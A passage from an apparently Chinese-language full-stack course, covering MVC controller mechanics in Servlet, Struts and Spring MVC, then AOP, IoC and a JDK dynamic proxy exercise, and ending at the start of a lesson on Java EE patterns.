无论是分层、分模块，还是分离静态模板和动态数据，当我们定义了不同的拆分方法，我们就把一个复杂的东西分解成组成单一、职责清晰的几个部分，分别处理以后，再聚合起来，不同的聚合方法正是由这些不同的拆分方法所决定的。

往后我们还会学习别的解耦技术，到那时请你回想我们本章到目前为止学过的这些有关“拆分”的方法，再放到一起比较，我相信你会有更多感悟。

在今天的选修课堂和扩展阅读之前，我先来提两个问题：

你在工作中是否使用过什么模板引擎，能说说当初在做技术选型时为什么选择了它吗？

有朋友说，服务端聚合已经过时了，现在的网站都应该在客户端完成聚合的，你同意这个观点吗？

好，对于上面的问题，以及今天的内容，你有什么想法？欢迎在留言区和我讨论。

选修课堂：动手使用 HTML 5 的模板标签

文中我介绍了一些模板技术，还有一点你要知道，HTML 5 引入了模板标签，自此之后，我们终于可以不依赖于任何第三方库，在原生 HTML 中直接使用模板了。下面就让我们来动手实践一下吧。

打开 Chrome 的开发者工具，选择 Console 标签：

然后，让我们先来检验一下你的浏览器是否支持 HTML 5 模板，即 template 标签。请执行：

'content' in document.createElement('template')

你应该能看到“true”，这就意味着你的浏览器是支持的。这是因为，content 是 HTML 5 的 template 标签特有的属性，用于放置原模板本身的内容。

接着，请在硬盘上创建一个 HTML 文件 template.html，写入如下内容：

<!doctype html>

<html>

  <div>1</div>

  <div>3</div>

  <template id="t">

  	<div>2</div>

  </template>

</html>

使用 Chrome 打开它，你应该只能看到分别显示为“1”和“3”的两行，而 template 标签内的内容，由于是模板的关系，被浏览器自动忽略了。

我们再打开 Chrome 的开发者工具，选择 Console 标签，这次敲入这样两行命令：

rendered = document.importNode(document.getElementById("t").content, true);

document.getElementsByTagName("div")[0].append(rendered);

这表示找到 id 为“t”的模板节点，根据其中的内容来创建一个节点，接着把这个节点安插到第一个 div 的标签后面。

这时，你应该看能看到三行，分别为“1”、“2”和“3”。

扩展阅读

【基础】今天的内容我们正式和几个 HTML 的标签见面了，如果你对 HTML 也不太熟悉的话，请一定学习一下，作为前端基础的三驾马车之一（另两驾是 CSS 和 JavaScript），我们以后会经常和它们见面的。首推 MDN 的教程，有一篇比较短的 HTML 基础，也有更为详尽的展开。

【基础】文中也涉及到了一点点 JavaScript 的基础知识，如果你对于 JavaScript 还不了解，那么我推荐你阅读 MDN 的 JavaScript 教程中的快速入门部分。

对于文中模板引擎以外的三种聚合方式，我也给你找了可选的阅读材料，你可以跟随自己的兴趣选择：对于 iFrame 聚合，iframe, or not, that is the question 这篇文章介绍了和使用 script 标签来写入页面内容比起来，使用 iFrame 的优劣；对于 Portlet 聚合，请参阅 Java Portlet Specification 词条，你将看到 Portlet 规范从 1.0 到 3.0 的改进；对于 SSI，请参阅维基百科的服务器端内嵌词条，上面介绍了一些它常用的指令。

10 | MVC架构解析：控制器（Controller）篇

你好，我是四火。

今天我们继续学习 MVC 架构，主要内容就是 MVC 架构的第三部分——控制器（Controller）。

控制器用于接收请求，校验参数，调用 Model 层获取业务数据，构造和绑定上下文，并转给 View 层去渲染。也就是说，控制器是 MVC 的大脑，它知道接下去该让谁去做什么事。控制器层是大多数 MVC 框架特别愿意做文章的地方，我相信你可能耳闻、了解，甚至熟练使用过一些 MVC 框架了。

那么与其去抽象地学习这一层的重要概念、原理，或是单纯地学习这些框架在这一层略显乏味的具体配置，我想我们今天“不走寻常路”一次，把这两者结合起来——我们来比较 Servlet、Struts 和 Sprint MVC 这三种常见的技术和 MVC 框架，在控制器层的工作路数，以及和业务代码整合配置的方式，看看任这些框架形式千变万化，到底有哪些其实是不变的“套路”呢？

随着请求到达控制器，让我们顺着接下去的请求处理流程，看看控制器会通过怎样的步骤，履行完它的职责，并最终转到相应的视图吧。

1. 路径映射和视图指向

我们不妨把 MVC 架构的控制器想象成一个黑盒。当 HTTP 请求从客户端送达的时候，这个黑盒要完成一系列使命，那么它就有一个入口路由和一个出口路由：

入口路由就是路径映射，根据配置的规则，以及请求 URI 的路径，找到具体接收和处理这个请求的控制器逻辑；

出口路由就是视图指向，根据配置的规则，以及控制器处理完毕后返回的信息，找到需要渲染的视图页面。

这两件事情，我们当然可以使用原始的 if-else 来完成，但是一般的 MVC 都提供了更清晰和独立的解决方案。

我们还是从老朋友 Servlet 开始讲起，在 Tomcat 的 web.xml 中，我们可以配置这样的路径映射：

<servlet>

    <servlet-name>BookServlet</servlet-name>

    <servlet-class>com.xxx.xxx.BookServlet</servlet-class>

</servlet>

<servlet-mapping>

    <servlet-name>BookServlet</servlet-name>

    <url-pattern>/books</url-pattern>

</servlet-mapping>

你看，对于路径映射，一旦请求是 /books 这种形式的，就会被转到 BookServlet 里去处理。而对于视图指向，Servlet 是通过代码完成的，比如：

request.getRequestDispatcher("/book.jsp").forward(request, response);

但是，Servlet 路径映射的表达式匹配不够灵活，而且配置过于冗长；而视图指向更是完全通过代码调用来完成，视图的位置信息完全耦合在控制器主代码逻辑中，而且也并没有体现出配置的集中、清晰的管理优势。于是现今的 MVC 框架都提供了一套自己的映射匹配逻辑，例如 Struts 2：

<action name="books" class="xxx.xxx.BookAction">

    <result name="success" type="dispatcher">/success.jsp</result>

    <result name="input" ... />

</action>

其中，name=“books” 这样的配置就会将 /books 的请求转给 BookAction。至于接下来的两个 result 标签，是根据控制器返回的视图名来配对具体的视图页面，也就是说，一旦 BookAction 处理完毕，通过返回的视图名字，请求可以被转发给相应的视图。

这个路径映射的配置是简单一些了，可是都需要放在一个其它位置的、单独的 XML 中配置。不过，Java 5 开始支持注解，因此许多 MVC 框架都开始支持使用注解来让这样的配置变得更加轻量，也就是将路径映射和它所属的控制器代码放在一起。见下面 Struts 的例子：

public class BookAction extends ActionSupport {

    @Action(value="/books", results={

        @Result(name="success",location="/book.jsp")

    })

    public String get() {

        ...

        return "success";

    }

}

代码依然很好理解，当以 /books 为路径的 GET 请求到来时，会被转给 BookAction 的 get 方法。在控制器的活干完之后，根据返回的名称 success，下一步请求就会转到视图 /book.jsp 中去。

你看，对于路径映射和视图指向，为了不把这样的信息和主流程代码耦合在一起，上面讲了两种实现方法，它们各有优劣：

放到配置文件中，好处是所有的映射都在一个文件里，方便管理。但是对于任何一个控制器逻辑，要寻找它对应的配置信息，需要去别的位置（即上文的 XML 中）寻找。这是一种代码横向分层解耦的方式，即分层方式和业务模块无关，或者说二者是“正交”的，这种方式我在 [第 11 讲] 讲解 IoC（控制反转）时会继续介绍。

使用注解，和控制器逻辑放在一起，好处是映射本身是和具体的控制器逻辑放在一起，当然，它们并非代码层面的耦合，而是通过注解的方式分离开。坏处是，如果需要考察所有的映射配置，那么就没有一个统一的文件可供概览。这是一种代码纵向分层解耦的方式，也就是说，配置是跟着业务模块走的。

无论使用以上哪一种方法，本质上都逃不过需要显式配置的命运。但无论哪种方法，其实都已经够简单了，可历史总是惊人的相似，总有帮“难伺候”的程序员，还是嫌麻烦！于是就有人想出了一个“终极偷懒”的办法——免掉配置。

这就需要利用 CoC 原则（Convention over Configuration，即规约优于配置）。比如，在使用 Spring MVC 这个 MVC 框架时，声明了 ControllerClassNameHandlerMapping 以后，对于这样没有配置任何映射信息的方法，会根据 Controller 类名的规约来完成映射：

public class BooksController extends AbstractController {

    @Override

    protected ModelAndView handleRequestInternal() throws Exception {

        ...

    }

}

在使用 /books 去访问的时候，请求就会被自动转交给定义好的控制器逻辑。

你看，规约优于配置看起来可以省掉很多工作对不对？没错！但是任何技术都有两面性，CoC 虽然省掉了一部分实际的配置工作，却没有改变映射匹配的流程本身，也不能省掉任何为了理解规约背后的“隐性知识”的学习成本。而且，规约往往只方便于解决最常见的配置，也就意味着，当需要更灵活的配置时，我们还是会被迫退化回显式配置。

2. 请求参数绑定

请求被送到了指定的控制器方法，接下去，需要从 HTTP 请求中把参数取出来，绑定到控制器这一层，以便使用。整个控制器的流程中，有两次重要的数据绑定，这是第一次，是为了控制器而绑定请求数据，后面在视图上下文构造这一步中还有一次绑定，那是为了视图而进行的。

和路径映射的配置一样，最先被考虑的方式，一定是用编程的方法实现的。比如在 Servlet 中，可以这样做：

request.getParameter("name")

这并没有什么稀奇的对不对，想想我们前面学习的处理方法，参数应该能通过某种配置方式自动注入到控制器的对象属性或者方法参数中吧？一点都没错，并且，Struts 和 Spring MVC 各有各的做法，二者加起来，就恰巧印证了这句话。

还记得前面 Struts 的那个例子吗？给 BookAction 设置一个和参数同名的属性，并辅以规则的 get/set 方法，就能将请求中的参数自动注入。更强大的地方在于，如果这个属性是个复杂对象，只要参数按照规约命名了，那么它也能够被正确处理：

public class BookAction extends ActionSupport {

    private Page page;

    public void setPage { ... }

    public Page getPage { ... }

}

在这种设定下，如果 URI 是：

/books?page.pageSize=1&page.pageNo=2&page.orderBy=desc

那么，pageSize、pageNo 和 orderBy 这三个值就会被设置到一个 Page 对象中，而这个 Page 对象则会被自动注入到 BookAction 的实例中去。

再来看看 Spring MVC 使用注解的方式来处理，和 URL 的结构放在一起观察，这种方式显然更为形象直观：

@RequestMapping("/{category}/books")

public ModelAndView get(@PathVariable("category") String category, @RequestParam("author") String author){ ... }

在这种配置下，如果 URI 是：

/comic/books?author=Jim

那么，分类 comic 就会作为方法参数 category 的值传入，而作者 Jim 就会作为方法参数 author 的值传入。

3. 参数验证

参数验证的操作因为和请求对象密切相关，因此通常都是在控制器层完成的。在参数验证没有通过的情况下，往往会执行异常流程，转到错误页面，返回失败请求。Struts 提供了一个将参数验证解耦到配置文件的办法，请看下面的例子：

<validators>

  <field name="name">

    <field-validator type="requiredstring">

      <param name="trim">true</param>

      <message> 书名不得为空 </message>

    </field-validator>

    <field-validator type="stringlength">

      <param name="maxLength">100</param>

      <param name="minLength">1</param>

      <message> 书名的长度必须在 1~100 之间 </message>

    </field-validator>

  </field>

</validators>

这就是一个非常简单的参数验证的规则，对于属性 name 定义了两条规则，一条是不得为空，另一条是长度必须在 1~100 之间，否则将返回错误信息。

类似的，Struts 也提供了基于注解的参数验证方式，上面的例子，如果使用注解来实现，就需要将注解加在自动注入参数的 set 方法处。代码见下：

@RequiredFieldValidator(trim = true, message = " 书名不得为空.")

@StringLengthFieldValidator(minLength = "1", maxLength = "100", message = " 书名的长度必须在 1~100 之间 ")

void setName(String name) { ... }

4. 视图上下文绑定

在控制器中，我们经常需要将数据传入视图层，它可能会携带用户传入的参数，也可能会携带在控制器中查询模型得到的数据，而这个传入方式，就是将数据绑定到视图的上下文中。这就是我刚刚提到过的控制器层两大绑定中的第二个。

如果是使用 Servlet，那么我们一般可以用 setAttribute 的方法将参数设置到 request 对象中，这样在视图层就可以相应地使用 getAttribute 方法把该参数的值取出来。

request.setAttribute("page", xxx);

对于 Struts 来说，它的方法和前面说的请求参数绑定统一了，即可以将想传递的值放到 Action 的对象属性中，这种方式绑定的属性，和请求参数自动绑定的属性没有什么区别，在视图层都可以直接从上下文中取出来。

接着前面 BookAction 的例子，绑定了一个 Page 对象，那么在视图层中就可以使用 OGNL（Object-Graph Navigation Language，对象导航图语言）表达式直接取得：

<p> 第 ${page.pageNo} 页 </p>

对于 Spring MVC，则是需要在控制器方法中传入一个类型为 Model 的对象，同时将需要绑定的对象通过调用 addAttribute 来完成绑定，这个过程和 Servlet 是类似的。

总结思考

今天我们学习了 MVC 架构中的控制器层，整个控制器的逻辑比较密集，从请求抵达，到转出到视图层去渲染，控制器的逻辑通常包括下面这几步，但是，严格说起来，下面这些步骤的任何一步，根据实际情况，都是可以省略的。

我们对比了在原生 Servlet、Struts 框架和 Spring MVC 框架下，上面各个步骤的实现，希望你能够感悟到其中的“套路”。

是的，具体某一个框架的配置使用，是很容易学习和掌握的，这当然很好，但那只是死的知识，而这也只是机械记忆。而当我们去思考同一个框架中实现同一个特性的不同方法，或者是不同框架实现同一个特性的不同方法时，我们就会慢慢体会到技术的有趣之处。

因为我们会去思考，这些不同的“玩法”比较起来，各有什么优缺点，在实际应用中应该怎么去权衡和选择，甚至去想，如果让我去设计一个类似的特性，都有哪些办法可以实现。

好，下面我们就来检验一下今天所学的知识，请思考下面这样两个问题：

我们提到了 MVC 框架中，两种常见的配置方式，一种是将配置放在横向解耦的单独一层，另一种是将配置和业务模块放在一起。你更喜欢哪一种，为什么？

在上面的图中，我列出了控制器层常见的六大步骤。那么，回想你经历过的项目，是将怎样的代码逻辑放在了控制器层呢？

对于今天学习的内容，对于思考题，以及通过比较学习“套路”的方式，如果你有想法，不妨和我在留言区一起讨论吧。

选修课堂：动手实现一个简单的 MVC 系统

这一章我们一直在学习 MVC，不动手实践是不行的。我们要使用 Servlet + JSP + JavaBean 这种相对原始的方法来实现一个最简单的 MVC 系统。

还记得我们在 [第 07 讲] 中动手跑起来的 Tomcat 吗？现在请打开 Tomcat 的安装目录，设置好环境变量 CATALINA_HOME，以便于我们后面使用正确的 Tomcat 路径。以我的电脑为例：

export CATALINA_HOME=/usr/local/Cellar/tomcat/9.0.22/libexec

我们打开 ${CATALINA_HOME}/webapps/ROOT/WEB-INF/web.xml，在 这个结束标签前，添加如下子标签：

<servlet>

  <servlet-name>BookServlet</servlet-name>

  <servlet-class>BookServlet</servlet-class>

</servlet>

<servlet-mapping>

  <servlet-name>BookServlet</servlet-name>

  <url-pattern>/books</url-pattern>

  <url-pattern>/books/*</url-pattern>

</servlet-mapping>

注意这里配置了两个 URL 映射，/books 和 /books/{bookId} 两种类型的请求会全部映射到我们将建立的 Servlet 中。

在配置好 Servlet 的映射之后，进入 ${CATALINA_HOME}/webapps/ROOT/WEB-INF，并创建一个名为 classes 的文件夹，接着在这个文件夹下建立一个名为 BookServlet.java 的文件，并编辑它：

import java.io.IOException;

import javax.servlet.ServletException;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

public class BookServlet extends HttpServlet {

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        String category = request.getParameter("category");

        request.setAttribute("categoryName", category);

        request.getRequestDispatcher("/book.jsp").forward(request, response);

    }

}

嗯，其实代码逻辑很简单，把 URL 中的 category 参数的值取出来，给一个新名字 categoryName 并传给 book.jsp。

好，接下来我们就要把上面的 Java 源文件编译成 class 文件了，执行：

javac BookServlet.java -classpath ${CATALINA_HOME}/lib/servlet-api.jar

其中 servlet-api.jar 是 Tomcat 中存放的编译运行 Servlet 所必须的类库。这样，你应该能看到在 classes 目录下生成了 BookServlet.class 文件。

接着，在 ${CATALINA_HOME}/webapps/ROOT 下建立 book.jsp，并写入：

<jsp:useBean id="date" class="java.util.Date" />

Category name: <%=request.getAttribute("categoryName") %>, date: ${date.getYear()+1900}-${date.getMonth()+1}-${date.getDate()}

第一行表示创建并使用一个 Date 类型的 JavaBean，第二行在显示结果的时候，category 使用了 JSP 特有的 scriptlet 的表达式，而日期则使用了 OGNL 表达式。注意 Date 对象返回的年份是以 1900 年为基准的偏移量，因此需要加上 1900；而返回的月份是从 0 开始往后排的，因此需要加上修正值 1。

好了，大功告成，我们快来执行 Tomcat 看看结果吧！启动 Tomcat：

catalina run

打开浏览器，访问：

http://localhost:8080/books?category=art

如果你看到类似如下字样，那么，恭喜你，成功了！现在，你可以回想一下刚才的实现，这些代码该怎样对应到 MVC 各个部分呢？

Category name: art, date: 2019-8-5

扩展阅读

对于 Struts 和 Spring MVC，文中已经给出了官方链接，如果你想阅读简洁的中文版教程，可以看看这个 Struts 2 教程和这个 Spring MVC 教程。

文中提到了使用 ControllerClassNameHandlerMapping 来贯彻“规约优于配置”的思想，达到对具体的映射免配置的目的，如果你感兴趣的话，Spring MVC - Controller Class Name Handler Mapping Example 这篇文章有很好的介绍。

OGNL 语言介绍与实践，文中提到了 OGNL 表达式，感兴趣的话这篇文章是很好的入门。

11 | 剑走偏锋：面向切面编程

你好，我是四火。

今天我们要接触一个和 MVC 密切相关的，能带来思维模式改变的编程范型——面向切面编程（AOP，Aspect Oriented Programming）。

“给我一把锤子，满世界都是钉子”

我记得曾经有这样一个相当流行的观点，是说，编程语言只需要学习一门就够了，学那么多也没有用，因为技术是一通百通的，别的编程语言可以说是大同小异。我相信至今抱有这种观点的程序员也不在少数。

可惜，事实远没有那么美好。这个观点主要有两处值得商榷：

其一，不同的技术，在一定程度上确实是相通的，可是，技术之间的关联性，远不是“一通百通”这四个简简单单的字能够解释的。妄想仅仅凭借精通一门编程语言，就能够自动打通其它所有编程语言的任督二脉，这是不现实的。

其二，通常来说，说编程语言大同小异其实是很不客观的。编程语言经过了长时间的发展演化，如今已经发展出非常多的类型，用作编程语言分类标准之一的编程范型也可谓是百花齐放。

因此我们要学习多种编程语言，特别是那些能带来新的思维模式的编程语言。现在，把这个观点泛化到普遍的软件技术上，也一样适用。我们都知道要“一切从实际出发”，都知道要“具体问题具体分析”，可是，在眼界还不够开阔的时候，特别是职业生涯的早期，程序员在武器库里的武器还非常有限的时候，依然无法避免“给我一把锤子，满世界都是钉子”，在技术选择的时候眼光相对局限。

所以我们要学习全栈技术，尤其是要学习这些不一样，但一定层面上和已掌握知识相通的典型技术。今天我们要学习的这项在 MVC 框架中广泛使用的技术，是和面向对象编程一类层面的编程范型，叫做面向切面编程。

互联网有许多功能，如果使用传统的基于单个请求处理流程的方式来编码，代码就会非常繁琐，而使用 AOP 的方式，代码可以得到很大程度上的简化。希望通过今天的学习，你的武器库里，能够多一把重型机枪。

AOP 的概念

面向切面编程是一种通过横切关注点（Cross-cutting Concerns）分离来增强代码模块性的方法，它能够在不修改业务主体代码的情况下，对它添加额外的行为。

不好理解吗？没关系，我们来对它做进一步的说明。

首先需要明确的是，AOP 的目标是增强代码模块性，也就是说，本质上它是一种“解耦”的方法，在这方面它和我们之前介绍的分层等方法是类似的，可是，它分离代码的角度与我们传统、自然的模块设计思路截然不同。

我们来看下面这样一个例子，对于图书馆系统来说，有许多业务流程，其中借书和还书是最典型的两条。对于这些业务流程来说，从图书系统接收到请求开始，需要完成若干个步骤，但这些步骤都有一些“共性”，比如鉴权，比如事务控制：

那么，如果我们按照自然的思考方式，我们会把代码按照流程分解成一个一个的步骤，在每个步骤完成的前后添加这些“共性”逻辑。可是这样，这些逻辑就会散落在代码各处了，即便我们把它们按照重复代码抽取的原则，抽出来放到单独的方法中，这样的方法的“调用”还是散落在各处，无论是对软件工程上的可维护性，还是代码阅读时对于业务流程的专注度，都是不利的。

藉由 AOP 则可以有效地解决这些问题，对于图中横向的业务流程，我们能够保持它们独立不变，而把鉴权、事务这样的公共功能，彻底拿出去，放到单独的地方，这样整个业务流程就变得纯粹和干净，没有任何代码残留的痕迹，就好像武林高手彻底隐形了一般，但是，功能却没有任何丢失。就好比面条一般顺下来的业务流程，水平地切了几刀，每一刀，都是一个 AOP 的功能实现。

我们可能在 Java 的世界中谈论 AOP 比较多，但请注意，它并不是 Java 范畴的概念，它不依赖于任何框架，也和编程语言本身无关。

Spring 中的应用

Spring 作为一个应用程序框架，提供了对于 AOP 功能上完整的支持，下面让我们通过例子来学习。还记得我们在 [第 08 讲] 中举例介绍的将图书借出的方法吗？

public class BookService {

    public Book lendOut(String bookId, String userId, Date date) { ... (0) }

}

现在，我们要给很多的业务方法以 AOP 的方式添加功能，而 lendOut 就是其中之一。定义一个 TransactionAspect 类：

public class TransactionAspect {

    public void doBefore(JoinPoint jp) { ... (1) }

    public void doAfter(JoinPoint jp) { ... (2) }

    public void doThrowing(JoinPoint jp, Throwable ex) { ... (3) }

    public void doAround(ProceedingJoinPoint pjp) throws Throwable {

        ... (4)

        pjp.proceed();

        ... (5)

    }

}

你看，我给每一处可以实现的代码都用数字做了标记。我们希望在 doBefore 方法中添加事务开始逻辑，doAfter 方法中添加事务结束的提交逻辑，doThrowing 方法中添加事务失败的回滚逻辑，而在 doAround 方法中业务执行前后添加日志打印逻辑，其中的 pjp.proceed() 方法表示对原方法的调用。

接着，我们需要写一些 XML 配置，目的就是把原方法和 AOP 的切面功能连接起来。配置片段如下：

<bean id="bookService" class="xxx.BookService"></bean>

<bean id="transactionAspect" class="xxx.TransactionAspect"></bean>

<aop:config>

  <aop:pointcut expression="execution(* xxx.BookService.*(..))" id="transactionPointcut"/>

  <aop:aspect ref="transactionAspect">

    <aop:before method="doBefore" pointcut-ref="transactionPointcut"/>

    <aop:after-returning method="doAfter" pointcut-ref="transactionPointcut"/>

    <aop:after-throwing method="doThrowing" pointcut-ref="transactionPointcut" throwing="ex"/>

    <aop:around method="doAround" pointcut-ref="transactionPointcut"/>

  </aop:aspect>

</aop:config>

在这段配置中，前两行分别是对 BookService 和 TransactionAspect 这两个 Bean 的声明，接下来在 aop:config 中，我们定义了 pointcut 的切面匹配表达式，表示要捕获 BookService 的所有方法，并在 aop:aspect 标签内定义了我们希望实施的 AOP 功能。

在实际执行的过程中，如果没有异常抛出，上述这些逻辑的执行顺序将是：

(1) → (4) → (0) → (5) → (2)

实现原理

讲了 AOP 怎样配置，怎么表现，现在我要来讲讲它的实现原理了。通过这部分内容，希望你可以搞清楚，为什么不需要对代码做任何改动，就可以在业务逻辑的流水中切一刀，插入我们想要执行的其它逻辑呢？

对于常见的实现，我们根据其作用的不同时间阶段进行分类，有这样两种：

编译期间的静态织入，又称为编译时增强。织入（Weaving），指的是将切面代码和源业务代码链接起来的过程。AspectJ 就是这样一个面向切面的 Java 语言扩展，称呼其为语言的“扩展”，就是因为它扩展了 Java 语言的语法，需要特定的编译器来把 AspectJ 的代码编译成 JVM 可识别的 class 文件。

运行期间的动态代理，又称为运行时增强。这种方式是在程序运行时，依靠预先创建或运行时创建的代理类来完成切面功能的。比如 JDK 基于接口的动态代理技术，或 CGLib 基于类的代理对象生成技术就属于这一种。

Spring AOP 默认支持的是后者——运行期间的动态代理。至于具体实现，通常来说，我们应该优先考虑使用 JDK 的动态代理技术；但是如果目标类没有实现接口，我们只能退而求其次，使用 CGLib。

动态代理的方式由于在运行时完成代理类或代理对象的创建，需要用到 Java 的拦截、反射和字节码生成等技术，因此运行时的性能表现往往没有静态织入好，功能也有较多限制，但是由于使用起来简便（不需要语言扩展，不需要特殊的编译器等），它的实际应用更为广泛。

控制反转 IoC

通过 AOP 我们知道，某些问题如果我们换个角度来解决，会很大程度地简化代码。现在，让我们来了解在 Spring 中另一个经常和面向切面编程一起出现的概念——控制反转。控制反转是一种设计思想，也是通过“换个角度”来解决问题的。

控制反转，IoC，即 Inversion of Control，言下之意，指的是把原有的控制方向掉转过来了。在我们常规的程序流程中，对象是由主程序流程创建的，例如，在业务流程中使用 new 关键字来创建依赖对象。

但是，当我们使用 Spring 框架的时候，Spring 把对象创建的工作接管过来，它作为对象容器，来负责对象的查找、匹配、创建、装配，依赖管理，等等。而主程序流程，则不用关心对象是怎么来的，只需要使用对象就可以了。我们还是拿 BookService 举例子：

public class BookService {

    @Autowired

    private BookDao bookDao;

    @Autowired

    private LoanDao loanDao;

    public Book lendOut(String bookId, String userId, Date date) {

        bookDao.update( ... );

        loanDao.insert( ... );

    }

}

比如 BookService 的借出方法，假如它的实现中，我们希望：

调用数据访问对象 bookDao 的方法来更新被借书的状态；

调用借阅行为的访问对象 loanDao 来增加一条借阅记录。

在这种情况下，我们可以通过 @Autowired 注解，让容器将实际的数据访问对象注入进来，主程序流程不用关心“下一层”的数据访问对象到底是怎么创建的，怎么初始化的，甚至是怎么注入进来的，而是直接用就可以了，因为这些对象都已经被 Spring 管理起来了。

如果这些注入的对象之间还存在依赖关系，初始化它们的顺序就至关重要了，可是在这种情况下，Service 层依然不用关心，因为 Spring 已经根据代码或配置中声明的依赖关系自动确定了。总之，Service 层的业务代码，只管调用其下的数据访问层的方法就好了。

读到这里，你可能会回想起前文 AOP 的内容，和 IoC 似乎有一个共同的特点：都是为了尽可能保证主流程的纯粹和简洁，而将这些不影响主流程的逻辑拿出去，只不过这两种技术，“拿出去”的是不同的逻辑。值得注意的是，对象之间的依赖关系，各层之间的依赖关系，并没有因为 IoC 而发生任何的改变。

IoC 在实现上包含两种方式，一种叫做依赖查找（DL，Dependency Lookup），另一种叫做依赖注入（DI，Dependency Injection）。二者缺一不可，Spring 容器做到了两者，就如同上面的例子，容器需要先查找到 bookDao 和 loanDao 所对应的对象，再把它们注入进来。当然，我们平时听到的更多是第二种。

有了一个大致的感受，那么 IoC 到底能带来什么好处呢？我觉得主要有这样两个方面：

资源统一配置管理。这个方面很好，但并不是 IoC 最大的优势，因为，如果你不把资源交给容器管理，而是自己建立一个资源管理类来管理某项资源，一样可以得到“统一管理”的所有优势。

业务代码不再包含依赖资源的访问逻辑，因此资源访问和业务流程的代码解耦开了。我觉得这里的“解耦”才是 IoC 最核心的优势，它让各层之间的依赖关系变得松散。就如同上面的代码例子一样，如果哪一天我想把它依赖的 bookDao 和 loanDao 替换掉（比如，我想为 Service 层做测试），Service 一行代码都不用改，它压根都不需要知道。

总结思考

今天我们一起学习了面向切面编程，从学习概念，熟悉配置，到了解实现原理，希望你对于 AOP 已经有了一个清晰的认识，在未来设计和开发系统的时候，无论技术怎样演进，框架怎么变化，始终知道什么时候需要它，并能够把它从你的武器库中拿出来使用。

现在我来提两个问题，我们一起讨论吧：

你过去的项目中有没有应用 AOP 的例子，能说说吗？

我介绍了 AOP 的优点，但却没有提到它的缺点，但其实任何技术都是有两面性的，你觉得 AOP 的缺点都有哪些呢？

选修课堂：实践 AOP 的运行时动态代理

我们学习了 AOP 的实现原理，知道其中一种办法是通过 JDK 的动态代理技术来实现的。现在，我们就来写一点代码，用它实现一个小例子。

首先，请你准备好一个项目文件夹，我们会在其中创建一系列文件。你可以使用 Eclipse 来管理项目，也可以自己建立一个独立的文件夹，这都没有关系。

现在建立 BookService.java，这次我们把 BookService 定义为一个接口，包含 lendOut 方法，同时也创建它的实现 BookServiceImpl：

import java.text.MessageFormat;

import java.util.Date;

interface BookService {

    void lendOut(String bookId, String userId, Date date);

}

class BookServiceImpl implements BookService {

    @Override

    public void lendOut(String bookId, String userId, Date date) {

        System.out.println(MessageFormat.format("{0}: The book {1} is lent to {2}.", date, bookId, userId));

    }

}

然后，我们建立一个 ServiceInvocationHandler.java，在这里我们可以定义代理对象在对原对象的方法调用前后，添加的额外逻辑：

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Method;

class ServiceInvocationHandler implements InvocationHandler {

    private Object target;

    public ServiceInvocationHandler(Object target) {

        this.target = target;

    }

    @Override

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

        System.out.println("Before...");

        Object result = method.invoke(this.target, args);

        System.out.println("After...");

        return result;

    }

}

接着，我们建立一个 Client.java 类，作为程序的起点，通过动态代理的方式来调用源代码中的 lendOut 方法：

import java.lang.reflect.Proxy;

import java.util.Date;

public class Client {

    public static void main(String[] args) throws Exception {

        BookService bookService = (BookService) Proxy.newProxyInstance(

                BookService.class.getClassLoader(),

                new Class[]{ BookService.class },

                new ServiceInvocationHandler(new BookServiceImpl())

            );

        bookService.lendOut("123", "456", new Date());

    }

}

你看，我们创建了一个动态代理对象，并赋给 bookService，这个代理对象实际是会调用 BookServiceImpl 的，但调用的前后打印了额外的日志。并且，这个代理对象也实现自 BookService 接口，因此，对于 BookService 的使用者来说，它实际并不知道调用到的是 BookServiceImpl 还是它的代理对象。请看图示：

好，现在我们把这些代码编译一下：

javac BookService.java ServiceInvocationHandler.java Client.java

你应该能看到它们的 class 文件分别生成了。

最后，执行 Client 的 main 方法，就能看到相应的执行结果，它显示 lendBook 方法前后的 AOP 的逻辑被实际执行了：

java Client

Before...

8/10/19 11:42 AM: The book 123 is lent to 456.

After...

扩展阅读

Spring 官方文档中关于 AOP 的教程，如果你希望看到中文版，那么互联网上有不少对于这部分的翻译，只不过对应的 Spring 版本不同，内容大致是一样的，比如这一篇。

Comparing Spring AOP and AspectJ，这是一篇关于静态织入和动态代理这两种 AOP 方式比较的文章。

对于 AspectJ，如果想一瞥其扩展的语法语义，维基百科的词条就足矣；如果想了解某些细节，请参阅官方文档。

12 | 唯有套路得人心：谈谈Java EE的那些模式

你好，我是四火。

本章我们以 MVC 架构为核心，已经介绍了很多设计模式，今天我们将进一步泛化，谈论更多的 Java EE 模式。这些模式，就是我们在搭建全栈架构、设计的工作过程中，不断总结和应用的“套路”。

背景和概念

我相信很多人都接触过面向对象模式，可是，模式是个通用词，面向对象只是其中的一个分支而已。事实上，我们本章的重点 MVC 本身就是一种典型的模式，介绍过的 CQRS 是模式，学习过的 AOP、IoC，这些其实也都是模式。

因此，和其它领域的技术相比，作为全栈工程师的我们，更有机会接触到各种模式。这些模式可以帮助我们在设计开发工作中拓宽思路，使用精巧的代码结构来解决实际问题。

说到这里，你可能会问，为什么这次谈论模式的时候，要使用 Java EE 这个编程语言前缀？模式不是应该和语言无关吗？

一点都没错，模式就是和语言无关的，但是，诞生模式最多的温床，就是 Java 语言。

世界上没有任何一门语言，像 Java 一样，几乎一直被黑，但是生态圈一直在壮大，且在工业界具备如此统治力。很多人说，Java 是一门平庸的语言，这可能没错，但是它对于底层细节的封装和语言本身的难度做到了很好的平衡，它不一定会有多精巧、多出彩，但是新手也可以顺利完成工作，且不容易写出破坏性强、其他人难以接手的代码，这对于要规模、要量产的工业界来说，简直是超级福音。

使用 Java 的人可以快速上手，也可以把精力专注在高层的架构和设计上面，这就是为什么使用 Java 的人往往对模式特别敏感的原因。

当然，语言本身的江湖地位也和生态圈密切相关，更先进、更合理的语言一直在出现，但要把整个语言推翻另起炉灶，其难度可想而知，毕竟一门语言还涉及到社区、厂商、开源库、标准等等。

在互联网的战场上，我们一直能看到类似的例子，比如在前端领域 JavaScript 就是一个相对“草率”，有着诸多缺陷的语言，在它之后有许多更先进的语言尝试把它替代（比如 Google 强推的 Dart），但是这件事情是极其困难的。

那么，什么是 Java EE，为什么是 Java EE？

